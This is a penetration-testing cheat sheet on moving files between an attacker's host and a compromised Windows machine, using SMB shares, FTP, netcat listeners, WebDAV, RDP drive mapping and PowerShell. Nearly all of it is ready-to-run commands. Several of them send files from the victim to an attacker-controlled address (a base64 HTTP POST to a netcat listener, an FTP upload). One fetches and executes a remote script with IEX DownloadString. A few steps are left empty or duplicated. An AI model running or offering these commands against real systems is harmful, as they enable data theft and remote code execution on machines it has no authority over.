UPLOADING FILES VIA SMB (NO CREDENITIAL)¶
- Setting Up an SMB Server:
sudo impacket-smbserver hackfast -smb2support .
- Map a Network Drive:
net use z: \\[IP-ADRESS]\hackfast
- Upload a File via SMB:
copy file.txt z:\file.txt
UPLOADING FILES VIA SMB (WITH CREDENTIALS)¶
- Configure SMB Server Using impacket-smbserver
sudo impacket-smbserver hackfast $(pwd) -smb2support -user hackfast -password hackfast
- Configure SMB Server Using smbserver.py
smbserver.py share . -smb2support -username hackfast -password hackfast
- Map a Network Drive:
net use z: \\[IP-ADRESS]\hackfast /user:hackfast hackfast
- Upload File to Mapped Drive:
copy file.txt z:\file.txt
UPLOADING FILES VIA FTP¶
- Setting Up Write-Enabled FTP Server:
sudo python3 -m pyftpdlib --port 21 --write
- Upload File Using PowerShell:
(New-Object Net.WebClient).UploadFile('ftp://[IP-ADRESS]/file.txt', 'C:\Windows\Temp\file.txt')
-
Automating FTP Upload with Command File:
POWERSHELL BASE64 WEB UPLOAD WITH NETCAT¶
- Encode the File to Base64 (On Windows):
$filePath = 'C:\Windows\Temp\file_name'
$b64 = [System.Convert]::ToBase64String((Get-Content -Path $filePath -Encoding Byte))
- Set Up the Netcat Listener to Capture the POST Request:
nc -lvnp 8080 > received_b64.txt
- Upload the Base64 String via HTTP POST:
Invoke-WebRequest -Uri http://[IP-ADRESS]:8080/ -Method POST -Body $b64
- Decode the Base64 String Received via Netcat:
cat received_b64.txt | base64 -d > file_name
UPLOADING A FILE TO A REMOTE SESSION¶
- Create a PowerShell Remoting session:
$Session = New-PSSession -ComputerName DATABASE01
- Copy the file from your local machine to the remote session:
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
UPLOADING FILES VIA WEBDAV¶
- Install WebDav Server
sudo pip3 install wsgidav cheroot
- Start the WebDav Server
sudo wsgidav --host=0.0.0.0 --port=8081 --root=/tmp --auth=anonymous
- List Directory Contents:
dir \\[IP-ADRESS]\DavWWWRoot
- Copy File to WebDav Server:
copy C:\Temp\file.zip \\[IP_ADRESS]\DavWWWRoot\
NC UPLOADING A FILE (SENDING)¶
-
ON THE ATTACK HOST (LISTENING):
- Using Netcat
sudo nc -l -p 443 -q 0 < file_to_send.exe
- Using Ncat
sudo ncat -l -p 443 --send-only < file_to_send.exe
-
ON THE COMPROMISED MACHINE (CONNECTING):
-
Using Netcat
nc [IP-ADRESS] 443 > received_file.exe
- Using Ncat
ncat [IP-ADRESS] 443 --recv-only > received_file.exe
- Using Netcat
UPLOADING A FILE USING RDP (LINUX TO WINDOWS)¶
- Using rdesktop:
rdesktop [IP-ADDRESS] -u [USERNAME] -p [PASSWORD] -r disk:linux='/home/user/rdesktop/files
- Using xfreerdp:
xfreerdp /v:[IP-ADDRESS] /u:[USERNAME] /p:'[PASSWORD]' /drive:[NAME],[PATH]
UPLOADING FILES USING POWERSHELL¶
-
IEX(New-Object Net.WebClient).DownloadString('http://[IP-ADRESS]:8000/PSUpload.ps1')
-
Invoke-FileUpload -Uri http://[IP-ADRESS]:8080/upload -File C:\Windows\Temp\file_name